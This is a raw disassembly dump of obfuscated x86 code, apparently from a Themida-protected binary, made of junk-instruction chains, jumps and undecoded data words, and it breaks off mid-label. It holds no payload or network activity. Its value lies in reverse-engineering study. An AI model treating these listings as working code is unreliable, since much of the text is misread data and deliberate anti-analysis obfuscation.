jmp loc_502490 ; --------------------------------------------------------------------------- db 1 dd 0A7EE81D6h, 8B2B717Ah, 0C4812414h, 4, 5C243487h, 78D7E9h dd 24048900h, 236BFFB8h, 7E0C118h, 0D4E9D0F7h, 53FFFFD4h dd 0DB7770BBh, 5BD92903h, 4D8FBA52h, 0D10917F4h, 0ABC9815Ah dd 810A8824h, 828A80E9h, 0B46AE92Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D0EE: ; CODE XREF: Themida_:0050E58Ej and eax, 304009B0h xor eax, 3F272B78h sub ebx, eax jmp loc_505669 ; --------------------------------------------------------------------------- db 0BFh dd 1CBF458Ch, 0B9E9DFF7h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50D10B: ; CODE XREF: Themida_:00509D42j or edx, eax shl edx, 1 push dword ptr [edi+24h] push 5A9Dh mov [esp], ecx jmp loc_51280B ; --------------------------------------------------------------------------- db 56h dd 471B71BEh, 7572E909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D12A: ; CODE XREF: Themida_:004FF857j add edx, 69502CAh mov eax, edx pop edx jmp loc_50A3A3 ; --------------------------------------------------------------------------- dd 8B9F680h, 0B4505AF7h, 80C4FEABh, 72E95DF4h, 100002Ah dd 89505DEBh, 405E0h, 0E8830000h, 24048704h, 243C895Ch dd 63B76856h, 0C15E55EFh, 0CE8102E6h, 42EA1611h, 8103EEC1h dd 0FFF3D9F6h, 0E189510Ah, 4C181h, 0E9830000h, 240C8704h dd 6C3BE9h, 0E9F83000h, 5CBEh ; --------------------------------------------------------------------------- loc_50D194: ; CODE XREF: Themida_:0050538Ej push esi mov esi, 298A51DBh sub edx, esi pop esi sub edx, ebp add edx, 298A51DBh mov ebp, [esp] jmp loc_5143C8 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0EEh dd 33FFFF69h, 14312414h, 31EA3124h, 68EA31D5h, 13FCh, 0E9242C89h dd 0FFFF6EBBh, 57C6015Bh, 92091BBFh, 3DA4E91Fh, 0CD01FFFFh dd 83240C8Bh, 0EEE904C4h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D1E7: ; CODE XREF: Themida_:00509108j mov edx, 70731D0Bh or edx, 74176FA9h xor edx, 6DDE295Ch jmp loc_501F0D ; --------------------------------------------------------------------------- loc_50D1FD: ; CODE XREF: Themida_:005074E0j pop dword ptr [esp] push edi push edx mov edx, 1EA03E27h mov edi, edx pop edx sub edi, 70841D1Ch shl edi, 2 jmp loc_50E2C3 ; --------------------------------------------------------------------------- loc_50D218: ; CODE XREF: Themida_:004FFB1Bj mov ebx, 7A5173BBh not ebx neg ebx jmp loc_50C182 ; --------------------------------------------------------------------------- dw 75B6h dd 0FDC680h, 3FE1E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50D232: ; CODE XREF: Themida_:00513F79j and esi, 5122023Dh shl esi, 2 push ecx mov ecx, 3297068Fh neg ecx jmp loc_510C94 ; --------------------------------------------------------------------------- dd 33241C31h, 50E9241Ch db 3Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D253: ; CODE XREF: Themida_:00504583j shr ecx, 8 xor ecx, 0C60012Ah push eax mov eax, 0BAB34782h sub ecx, eax pop eax mov ebp, ecx pop ecx mov eax, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_509975 ; --------------------------------------------------------------------------- loc_50D279: ; CODE XREF: Themida_:005057ECj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push ecx mov ecx, esp jmp loc_507348 ; --------------------------------------------------------------------------- loc_50D28D: ; CODE XREF: Themida_:004FFEFEj mov [esp], esi push esp pop esi add esi, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 add esi, 37AC06E0h add esi, ebx sub esi, 37AC06E0h pop ebx xchg esi, [esp] mov esp, [esp] sub esp, 4 jmp loc_50FD61 ; --------------------------------------------------------------------------- loc_50D2C3: ; CODE XREF: Themida_:00509B93j sub ecx, ebx jmp loc_50C603 ; --------------------------------------------------------------------------- loc_50D2CA: ; CODE XREF: Themida_:0050CC64j mov ebp, 4 sub ecx, 25060EC9h add ecx, ebp push eax mov eax, esp add eax, 4 jmp loc_5142A2 ; --------------------------------------------------------------------------- loc_50D2E4: ; CODE XREF: Themida_:0050A686j and eax, edx push dword ptr [esp] pop edx push 1DF5h mov [esp], esi jmp loc_50C672 ; --------------------------------------------------------------------------- loc_50D2F7: ; CODE XREF: Themida_:0050851Dj add ebp, ecx pop ecx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_512018 ; --------------------------------------------------------------------------- dd 5337DBBFh, 45EF8132h, 4F40C823h, 4D7F781h, 0F831F1DBh dd 0E9C7015Fh, 1290h ; --------------------------------------------------------------------------- loc_50D324: ; CODE XREF: Themida_:0050669Bj sub edi, 6CB37911h pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push ebp jmp loc_506FD2 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0AD2C1D2Dh, 0E9D80175h, 0FFFF8758h ; --------------------------------------------------------------------------- loc_50D34C: ; CODE XREF: Themida_:00510B46j shl esi, 7 push 6C47h jmp loc_5038A8 ; --------------------------------------------------------------------------- loc_50D359: ; CODE XREF: Themida_:0050CE79j pop esi jmp loc_5049AB ; --------------------------------------------------------------------------- loc_50D35F: ; CODE XREF: Themida_:00507F9Cj pop ecx jmp loc_506E41 ; --------------------------------------------------------------------------- loc_50D365: ; CODE XREF: Themida_:005140E9j sub ebx, 0C34BFBDFh add esi, ebx pop ebx jmp loc_509009 ; --------------------------------------------------------------------------- db 89h dd 15A5FF8h, 77E95EF0h, 28000014h, 0DF0459E8h, 0D028CD04h dd 0E953CD2Ch, 0FFFF9F64h, 0C781D7F7h, 556A5798h, 67B0EE81h dd 29E979E7h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D3A3: ; CODE XREF: Themida_:00507872j push ebx push esi mov esi, 387045C1h dec esi sub esi, 0FD3339DBh mov ebx, esi jmp loc_503EF9 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF779Dh, 89243489h, 0E9F789CEh, 0FFFFCA78h dd 4EC3E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D3D2: ; CODE XREF: Themida_:00501FEEj mov [esp], eax mov eax, 6A816501h jmp loc_510FD4 ; --------------------------------------------------------------------------- loc_50D3DF: ; CODE XREF: Themida_:0050C2D6j shl dl, 1 sub dl, 1 push ecx push edx mov dl, 0E0h mov cl, 0DDh jmp loc_50608B ; --------------------------------------------------------------------------- db 48h dd 2D9BBD55h, 0E5C12F16h, 5F58104h, 816A187Ch, 0BBF4A3F5h dd 63EA05C1h, 32E95969h, 89FFFF27h, 4812424h, 424h, 4055800h dd 51000000h, 4B9h, 33012D00h, 0C8013AA2h, 0A2330105h dd 1BC8E93Ah, 742C0000h, 7404D800h, 4584E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D442: ; CODE XREF: Themida_:00502D5Bj neg ebp push eax jmp loc_513A9D ; --------------------------------------------------------------------------- dw 0E628h dd 97E95866h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D453: ; CODE XREF: Themida_:0050AF65j push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push esi jmp loc_50EB9A ; --------------------------------------------------------------------------- dw 2C89h dd 6C45BD24h, 0C3E9126Dh, 2CFFFF97h, 31B252CBh, 2FE9D000h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D47B: ; CODE XREF: Themida_:005080D1j push ebx push edi jmp loc_50312D ; --------------------------------------------------------------------------- dw 0EA89h dd 1CCAE9h, 24043300h, 33240431h, 665C2404h, 6824048Bh dd 7A8h, 81240C89h, 4ECh, 24248900h, 4240481h, 0FF000000h dd 51592434h, 0DE9E189h, 51000021h, 38E9E189h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50D4C3: ; CODE XREF: Themida_:005035BAj not edx and edx, 3C00901h and edx, 604650Bh shl edx, 4 add edx, 18CF7F68h jmp loc_50DA71 ; --------------------------------------------------------------------------- aSQ_0 db '[Q',0 dd 1962BD00h, 5051271Dh, 227F4D68h, 0E8C15843h, 0C4E00506h dd 4CE90ED4h, 87000054h, 0E0CF81F7h, 816C4A64h, 4AEFF2F7h dd 5FFE89ECh, 46E9F389h, 0F6000061h, 6C7CE9DEh, 3468FFFFh dd 89000055h, 5BE9243Ch db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50D52B: ; CODE XREF: Themida_:005019BBj pop ebx sub esi, ebp mov ebp, [esp] add esp, 4 or esi, 30B221E5h jmp loc_510B40 ; --------------------------------------------------------------------------- db 1 dd 2E95FFAh db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D547: ; CODE XREF: Themida_:00502A26j add ecx, 251DF20h mov esi, ecx pop ecx add ecx, esi pop esi sub ecx, 5BEB294Dh jmp loc_504D19 ; --------------------------------------------------------------------------- dw 77FFh dd 2434FF3Ch, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 8B54240Ch db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_511BDB ; --------------------------------------------------------------------------- loc_50D58E: ; CODE XREF: Themida_:0050B02Fj add ecx, 381F4218h push edx push edi mov edi, 22504D8Fh mov edx, 0E6AFE42Fh add edx, edi pop edi sub edx, 0A675DAA5h or ecx, edx pop edx jmp loc_50E582 ; --------------------------------------------------------------------------- loc_50D5B1: ; CODE XREF: Themida_:0051341Dj add edx, 4 jmp loc_50D03E ; --------------------------------------------------------------------------- loc_50D5BC: ; CODE XREF: Themida_:00501A8Aj mov ebx, 5B53125Fh xor ebx, 10351ABh and ebp, ebx mov ebx, [esp] jmp loc_51445C ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4050000h, 87000000h, 0A1E92404h, 81FFFF94h, 65568EF7h dd 69E9E92Fh, 0C4830000h, 0BA525504h, 4, 148BD589h, 67DFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50D602: ; CODE XREF: Themida_:00501C1Fj push eax push ecx jmp loc_5143B1 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0BF570000h, 2, 335FFB01h, 1C31241Ch, 241C3324h dd 0FFF7FAE9h, 4C381FFh, 81000000h, 4C3h, 4EC8300h, 0FF241C89h dd 0E9042474h, 56B4h, 4F4ABB66h, 66DD0166h, 0D529665Bh dd 4AED8166h, 0C1665A4Fh, 686602E5h, 89663B51h, 31E9241Ch dd 8FFFFFA6h, 56502404h, 2B69CA68h, 0BD555E10h, 78FA0BA1h dd 815DEE21h, 2A0984F6h, 9FECE910h, 0DEBEFFFFh, 2977856Ch dd 0E9575EF5h, 0FFFF7983h, 8DA5E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D69A: ; CODE XREF: Themida_:005117DCj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add esi, 0E1F4854h and esi, 62505F2Bh jmp loc_50774C ; --------------------------------------------------------------------------- loc_50D6BA: ; CODE XREF: Themida_:00512925j add edx, eax pop eax add edx, edi jmp loc_5025B6 ; --------------------------------------------------------------------------- loc_50D6C4: ; CODE XREF: Themida_:005017D2j mov eax, ebx pop ebx mov edx, [esp] add esp, 4 add ecx, eax pop eax sub esp, 4 mov [esp], ecx jmp loc_508B83 ; --------------------------------------------------------------------------- dw 0F9B9h dd 81102A1Fh, 0F3ECE6E9h, 59CB21B4h, 2FEEB81h, 47685812h dd 0E9000061h, 0FFFFDE23h ; --------------------------------------------------------------------------- loc_50D6FC: ; CODE XREF: Themida_:00502EAFj pop esi jmp loc_504079 ; --------------------------------------------------------------------------- aShK1S2 db 'Sh\',1Bh,')[1%2',0 align 10h dd 5A24048Fh, 3654BE56h, 0E6815280h, 0AC74306h, 56B6F681h dd 0F23161EDh, 0FFF1B9E9h, 89D389FFh, 60E95BD9h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D737: ; CODE XREF: Themida_:00502748j add esp, 4 push 7C49h jmp loc_50CC61 ; --------------------------------------------------------------------------- loc_50D744: ; CODE XREF: Themida_:0050C574j mov edi, 396D4CCDh dec edi shl edi, 5 xor edi, 2D79A927h and ebp, edi jmp loc_5106D3 ; --------------------------------------------------------------------------- dw 0E768h dd 89000016h, 0BF572434h, 13F5308Eh, 41DAE947h, 0C4810000h dd 4, 0FFC392E9h db 0FFh ; --------------------------------------------------------------------------- loc_50D779: ; CODE XREF: Themida_:00511E70j mov ebx, edi pop edi push ecx mov ecx, 7DB74D25h jmp loc_5124CF ; --------------------------------------------------------------------------- db 89h dd 9868241Ch, 5B7AEA6Ah, 8104E3C1h, 226CB1EBh, 5BDE894Dh dd 0FFF74EE9h db 0FFh ; --------------------------------------------------------------------------- loc_50D7A1: ; CODE XREF: Themida_:00500B5Aj pop dword ptr [esp] mov esp, [esp] jmp loc_505CD4 ; --------------------------------------------------------------------------- loc_50D7AC: ; CODE XREF: Themida_:00506F67j shl edi, 8 jmp loc_50F106 ; --------------------------------------------------------------------------- dd 0FD4ED9B9h, 0B3C1813Ah, 21C75F0Ch, 0EAC159CAh, 81F28107h dd 0F719AC32h, 0D5E281DAh, 837C4378h, 48904ECh, 1CC3E924h dd 0C2810000h, 4, 4C281h, 14870000h, 24248B24h, 0FDE9F501h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D7F7: ; CODE XREF: Themida_:00506A28j pop dword ptr [esp] mov esp, [esp] mov cx, [esp] push 0BBAh mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_5096EE ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 0EC8104C0h, 4, 0E9240489h, 0FFFFD093h, 0AE97BB5h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D833: ; CODE XREF: Themida_:0050E9D1j add esp, 4 jmp loc_511443 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 1000000h, 0C78158C6h, 3733567Ah, 0EF81F701h dd 3733567Ah, 2EF835Eh, 50DDE9h, 243C3100h, 8B243C33h dd 48F2424h, 24248B24h, 9C2424D2h, 0FF1F9DE9h, 7B032DFFh dd 14E92CBCh, 4FFFFFB8h, 2F8BB951h, 0E9C14CB4h, 66C18103h dd 0E92FB5BAh, 738Ah, 0E924048Fh, 54E5h ; --------------------------------------------------------------------------- loc_50D8A0: ; CODE XREF: Themida_:005143C3j mov ecx, [esp] add esp, 4 push ebp push edx mov edx, 57A35A24h mov ebp, 382EACD8h sub ebp, edx jmp loc_5066A0 ; --------------------------------------------------------------------------- loc_50D8BC: ; CODE XREF: Themida_:00509A66j xor [esp], eax xchg eax, edi jmp loc_506E2B ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 242C895Ch, 81595451h, 4C1h, 4E98300h, 5C240C87h, 0E9242489h dd 0FFFFBCFDh ; --------------------------------------------------------------------------- loc_50D8E4: ; CODE XREF: Themida_:00505CAEj xchg ebp, [esp] jmp loc_508D77 ; --------------------------------------------------------------------------- loc_50D8EC: ; CODE XREF: Themida_:005016E3j push ebx push dword ptr [esp+4] pop ebx jmp loc_50780C ; --------------------------------------------------------------------------- loc_50D8F7: ; CODE XREF: Themida_:00508505j push ebp push dword ptr [esp+4] jmp loc_502FF0 ; --------------------------------------------------------------------------- loc_50D901: ; CODE XREF: Themida_:005102B4j sub al, 0E7h add al, cl add al, 0E7h pop ecx add cl, 35h add cl, al sub cl, 35h jmp loc_501C2D ; --------------------------------------------------------------------------- loc_50D915: ; CODE XREF: Themida_:0050524Dj push esi mov esi, 4254C1Fh jmp loc_508F38 ; --------------------------------------------------------------------------- loc_50D920: ; CODE XREF: Themida_:005131D8j mov ebx, 1F2E7C10h xor edi, ebx pop ebx sub [edx+38h], edi pop edi pop edi mov eax, [esp] add esp, 4 loc_50D933: ; CODE XREF: Themida_:0050B855j push esi mov esi, esp jmp loc_50EF84 ; --------------------------------------------------------------------------- loc_50D93B: ; CODE XREF: Themida_:0050EC23j sub ebx, ebp pop ebp add ebx, esi add ebx, 7639460Fh jmp loc_508391 ; --------------------------------------------------------------------------- loc_50D94B: ; CODE XREF: Themida_:005050A8j pop esp jmp loc_50CF0C ; --------------------------------------------------------------------------- loc_50D951: ; CODE XREF: Themida_:0051416Fj sub eax, 6A3B027Ah add eax, 178F0CC7h add eax, 4BE53A7Ch jmp loc_500519 ; --------------------------------------------------------------------------- loc_50D965: ; CODE XREF: Themida_:0050E81Bj push bx push ecx mov ch, 0DCh jmp loc_50B44B ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 6682BA52h, 0C3813904h, 319D371Bh, 0FFE125E9h dd 4DC68FFh, 0F75E292Fh, 46EE81DEh, 0E9647E48h, 49F8h ; --------------------------------------------------------------------------- loc_50D99C: ; CODE XREF: Themida_:00509A0Ej sub edi, 0F23460Ah push edi sub dword ptr [esp], 39847B2Dh pop edx push edi push ebx jmp loc_50FECE ; --------------------------------------------------------------------------- dw 0D305h dd 6827FD7Ah, 1B32h, 0B9240C89h, 6C1719E0h, 0E1C1D1F7h dd 3BE18108h, 813BE01Fh, 16031DC9h, 0E3BB5314h, 3172BF58h dd 241C8BD9h, 0FF3FB2E9h, 48159FFh, 23760524h, 242C816Bh dd 15CD15B7h, 37240481h, 0E97E8B62h, 0FFFFC490h, 555AD509h dd 0FF242C81h, 0E9FFFFFFh, 0FFFFE64Bh ; --------------------------------------------------------------------------- loc_50DA10: ; CODE XREF: Themida_:0050F897j mov ebx, [esp] push ebx push 242Eh push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_510CB3 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0C0E95259h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DA33: ; CODE XREF: Themida_:00501107j add ebx, 44661768h sub ebx, eax jmp loc_505B1F ; --------------------------------------------------------------------------- dd 0E9241C33h, 0FFFFDD58h ; --------------------------------------------------------------------------- loc_50DA48: ; CODE XREF: Themida_:00508A09j pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_50CE37 ; --------------------------------------------------------------------------- loc_50DA56: ; CODE XREF: Themida_:00500E00j push 0F04h mov [esp], ebx push esp pop ebx add ebx, 4 push esi mov esi, 4 jmp loc_5090FE ; --------------------------------------------------------------------------- loc_50DA71: ; CODE XREF: Themida_:0050D4DAj and ebp, edx pop edx not ebp and ebp, 459A64F4h push edi mov edi, 63FA6BAFh add edi, 9E12CC8Eh or ebp, edi pop edi jmp loc_4FFD4B ; --------------------------------------------------------------------------- loc_50DA90: ; CODE XREF: Themida_:0050A2D8j add esp, 4 jmp loc_50740A ; --------------------------------------------------------------------------- loc_50DA9B: ; CODE XREF: Themida_:005017ACj shr ebp, 8 jmp loc_4FFEA6 ; --------------------------------------------------------------------------- loc_50DAA3: ; CODE XREF: Themida_:0050AF27j xchg ecx, [esp] jmp loc_50FB46 ; --------------------------------------------------------------------------- db 68h dd 7DA6h, 0E9241C89h, 0FFFFCB8Ch, 6419F381h, 4B681823h dd 89000070h, 6850242Ch, 0C372750h, 898FE958h, 0E952FFFFh dd 0FFFFAD9Ah, 8904EC83h, 5E542434h, 4BF57h, 0FE010000h dd 4C6815Fh, 87000000h, 2D5C2434h, 23436FA1h, 3372E9h db 0 ; --------------------------------------------------------------------------- loc_50DAFD: ; CODE XREF: Themida_:0050EABDj add edi, 4 xchg edi, [esp] jmp loc_503AF5 ; --------------------------------------------------------------------------- dd 0E911C380h, 4533h, 40ABE958h, 34FFFFFFh, 21E95E24h dd 0F6FFFF71h, 0A9EA80DAh, 0E95AD788h, 0FFFF5EAAh ; --------------------------------------------------------------------------- loc_50DB2C: ; CODE XREF: Themida_:00511333j and edx, eax pop eax not edx sub edx, 0B121A1C8h sub esp, 4 jmp loc_501DC1 ; --------------------------------------------------------------------------- dw 895Eh dd 3C8B5EF5h, 2784E924h, 0C281FFFFh, 509B9FC5h, 0C15AD789h dd 0F79708E7h, 0ED20E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DB62: ; CODE XREF: Themida_:0050A660j pop esi jmp loc_511383 ; --------------------------------------------------------------------------- loc_50DB68: ; CODE XREF: Themida_:0050145Aj sub ebp, ecx add ebp, 4B654446h mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] jmp loc_5045AF ; --------------------------------------------------------------------------- loc_50DB88: ; CODE XREF: Themida_:00508461j mov eax, 4 add ecx, eax pop eax jmp loc_511E44 ; --------------------------------------------------------------------------- loc_50DB95: ; CODE XREF: Themida_:0050CA16j shr edi, 4 and edi, 55853CB9h xor edi, 704D2F9Bh add edi, 59856D49h push esi push eax mov eax, 8BF2C7DFh mov esi, eax pop eax jmp loc_509582 ; --------------------------------------------------------------------------- db 52h, 0E9h, 47h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DBBF: ; CODE XREF: Themida_:005014B4j xor esi, 2CE44E8Eh push 5946h mov [esp], ebp mov ebp, 6C0F7034h push 0 jmp loc_508862 ; --------------------------------------------------------------------------- loc_50DBDC: ; CODE XREF: Themida_:00510E3Cj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push 66E0h mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], edx mov edx, 4 add ebp, edx mov edx, [esp] jmp loc_50E47D ; --------------------------------------------------------------------------- dw 0BA52h align 10h dd 6FD0C281h, 0EA813B94h, 27C16FEDh, 0C281CA29h, 27C16FEDh dd 76F1BD55h, 0E58107E0h, 9415091h, 1A9DBE56h, 0F6817A08h dd 564C272Dh, 530BEE81h, 0E6814851h, 720D2D2Dh, 371AF681h dd 0F5015854h, 5DEA295Eh, 89D78957h, 0E95A5FF9h, 0FFFF42EBh ; --------------------------------------------------------------------------- loc_50DC60: ; CODE XREF: Themida_:00511A99j add al, bl sub al, 48h pop ebx jmp loc_4FFD24 ; --------------------------------------------------------------------------- loc_50DC6A: ; CODE XREF: Themida_:00502648j mov [esp], ebx mov ebx, esp jmp loc_50056A ; --------------------------------------------------------------------------- loc_50DC74: ; CODE XREF: Themida_:00514C36j mov ecx, esp add ecx, 4 add ecx, 2 xchg ecx, [esp] pop esp jmp loc_4FF9C2 ; --------------------------------------------------------------------------- dd 4C481h, 54530000h, 4B8505Bh, 1000000h, 0A6858C3h, 89000061h dd 58542404h, 405h, 42D00h, 4330000h, 24043124h, 2C44E9h dd 0F7D6F700h, 0E4C681D6h, 18DE1BAh, 0B6E95EF7h, 42FFFF24h dd 1177EA81h, 0F7526BDBh, 875A2414h, 9C5BE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DCDE: ; CODE XREF: Themida_:0050A9F9j mov eax, [esp] jmp loc_5090E1 ; --------------------------------------------------------------------------- loc_50DCE6: ; CODE XREF: Themida_:00514B91j push esi mov esi, 2 add ebp, esi jmp loc_505696 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 0FFFF7EE8h ; --------------------------------------------------------------------------- loc_50DCFC: ; CODE XREF: Themida_:00501636j shl ebx, 8 sub ebx, 45E96132h shl ebx, 1 add ebx, 0EBD7BB06h sub eax, ebx pop ebx sub eax, ebx push 3EC5h mov [esp], esi push edi push 3A0C0826h jmp loc_500D6D ; --------------------------------------------------------------------------- loc_50DD25: ; CODE XREF: Themida_:0050F476j mov ecx, [esp] push ebp mov ebp, esp jmp loc_5016CA ; --------------------------------------------------------------------------- loc_50DD30: ; CODE XREF: Themida_:0050253Aj pop ebp jmp loc_50F13B ; --------------------------------------------------------------------------- dw 105h dd 68000000h, 0B9Ch, 0FF9AFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_50DD45: ; CODE XREF: Themida_:0050B446j shl ebp, 3 add ebp, 64A0ACh push ebp xor dword ptr [esp], 4C202D32h mov esi, [esp] push edx jmp loc_5042D3 ; --------------------------------------------------------------------------- db 52h dd 0FFA538E9h, 0FAC181FFh, 19BFAF6h, 0D156E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DD72: ; CODE XREF: Themida_:00500F4Cj xor [esp+4], ebx jmp loc_50CA06 ; --------------------------------------------------------------------------- db 0BEh dd 6FD5145Ch, 0C681D6F7h, 1, 0EBA0F681h, 0EA81902Ah, 69991431h dd 0E957F201h, 0FFFFA09Dh, 0C8B60F66h, 0E99C5166h, 0FFFFA8B1h ; --------------------------------------------------------------------------- loc_50DDA8: ; CODE XREF: Themida_:00509701j ; Themida_:0050F489j ... push dword ptr [edi+24h] jmp loc_503A32 ; --------------------------------------------------------------------------- aQsdh db 'Qh',0 align 2 dw 665Ch dd 66C8AF0Fh, 0ECE99C51h, 0BFFFFF29h, 0FFFFFFFFh, 34FFFB01h dd 0B6DCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DDD2: ; CODE XREF: Themida_:00510765j pop ecx pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push ebx jmp loc_50F8AD ; --------------------------------------------------------------------------- dw 8B66h dd 9268240Ch, 8900005Dh, 0E189240Ch, 72EDB850h, 0B95123FBh dd 0EA00A26h, 0D1F7D9F7h, 82F2C181h, 0C801CD64h, 310DE9h dd 34FF5400h, 0C4835D24h, 4BB5304h, 1000000h, 0BF575BDDh dd 2, 12E9FD01h, 89FFFF39h, 0B5B5240Ch, 0B2ACB753h, 0C3EA8064h dd 3B70E9h, 4C28300h, 0FFD893E9h, 243C33FFh, 33243C31h dd 248B243Ch, 0F1F76624h, 6F536866h, 24148966h, 0E99C5066h dd 0FFFF19AEh, 9D1C77FFh, 4185866h, 9FE99C24h db 19h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DE77: ; CODE XREF: Themida_:00505697j xchg ebp, [esp] pop esp or bh, ch pop cx neg bh sub bh, 0A4h add al, bh jmp loc_50B78F ; --------------------------------------------------------------------------- db 54h dd 4C18159h, 68000000h, 5024h, 68241489h, 1635425Bh, 6EAC15Ah dd 639AE951h, 0E953FFFFh, 676Ch, 57D831ADh, 4431F3BFh dd 681Ah, 0DEE90000h, 68FFFFC3h, 1BB4h, 83241489h, 248904ECh dd 24048124h, 4, 0FF8F12E9h, 5DEA01FFh, 0FFB0D6E9h, 24048BFFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50CC0F ; --------------------------------------------------------------------------- loc_50DEF0: ; CODE XREF: Themida_:005030D9j mov eax, 4 add edi, eax pop eax push 4F46h mov [esp], eax push 6AE462EBh pop eax jmp loc_50BD67 ; --------------------------------------------------------------------------- loc_50DF0B: ; CODE XREF: Themida_:00504195j add esp, 4 push eax push ebx mov ebx, 47D05B5Dh not ebx neg ebx sub ebx, 0C703D362h mov eax, ebx jmp loc_504B51 ; --------------------------------------------------------------------------- dw 158h dd 0E904245Ch, 0E64h, 8490112Dh, 2C81505Eh, 0CE476824h dd 0C1815909h, 9CE4768h, 5EA1E958h, 4C010000h, 34FF0424h dd 240C8B24h, 4C481h, 0C4830000h, 685804h, 8900006Bh, 4BF243Ch dd 1000000h, 0E9525FF8h, 5CCFh, 286224B8h, 0E9C2297Ch dd 0FFFF2307h ; --------------------------------------------------------------------------- loc_50DF80: ; CODE XREF: Themida_:005045AAj sub esi, 3CFE0421h sub esi, 2CC038B6h pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ebx push dword ptr [esp] jmp loc_50C812 ; --------------------------------------------------------------------------- dw 0E630h dd 0E924048Bh, 0FFFF3381h, 0E906E2C0h, 0FFFF6786h ; --------------------------------------------------------------------------- loc_50DFB4: ; CODE XREF: Themida_:00509984j xchg ebp, ebx not ebp jmp loc_50B75F ; --------------------------------------------------------------------------- loc_50DFBD: ; CODE XREF: Themida_:0050F143j mov ebp, esp push ebx jmp loc_50038E ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24048B04h, 4C481h, 48F0000h, 24248B24h, 9C243CD2h, 0FF2B51E9h db 0FFh ; --------------------------------------------------------------------------- loc_50DFE1: ; CODE XREF: Themida_:0050352Aj push esi push 7463031Ah pop esi neg esi sub esi, 17B752F9h jmp loc_5011AA ; --------------------------------------------------------------------------- loc_50DFF5: ; CODE XREF: Themida_:00512095j push dword ptr [esp] pop ebx add esp, 4 sub edx, ecx pop ecx add edx, eax jmp loc_51191E ; --------------------------------------------------------------------------- dw 2C89h dd 10246824h, 24890000h, 24048124h, 4, 0C5B8505Dh, 55143B4Ch dd 2843E9h, 4C38100h, 87000000h, 815C241Ch, 1318C9C7h dd 4555E936h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E03A: ; CODE XREF: Themida_:005131F3j push esi jmp loc_50AAFE ; --------------------------------------------------------------------------- dd 8827C380h, 0B6525BDDh, 5AF500F7h, 0FF1F31E9h, 7826BFFFh dd 0EF81437Ah, 2E410F6Bh, 0C1D7F74Fh, 9E906E7h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E067: ; CODE XREF: Themida_:0050093Fj mov esp, [esp] not esi add esi, 4D5545AEh sub esi, 0FF3A0B8Eh jmp loc_513647 ; --------------------------------------------------------------------------- db 51h, 0E9h, 55h dd 33FFFFC7h, 248B243Ch, 455BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50E08E: ; CODE XREF: Themida_:00513C34j add [esp+8], edi pop edi jmp loc_50347B ; --------------------------------------------------------------------------- loc_50E098: ; CODE XREF: Themida_:00509970j push 774469DAh jmp loc_50174D ; --------------------------------------------------------------------------- loc_50E0A2: ; CODE XREF: 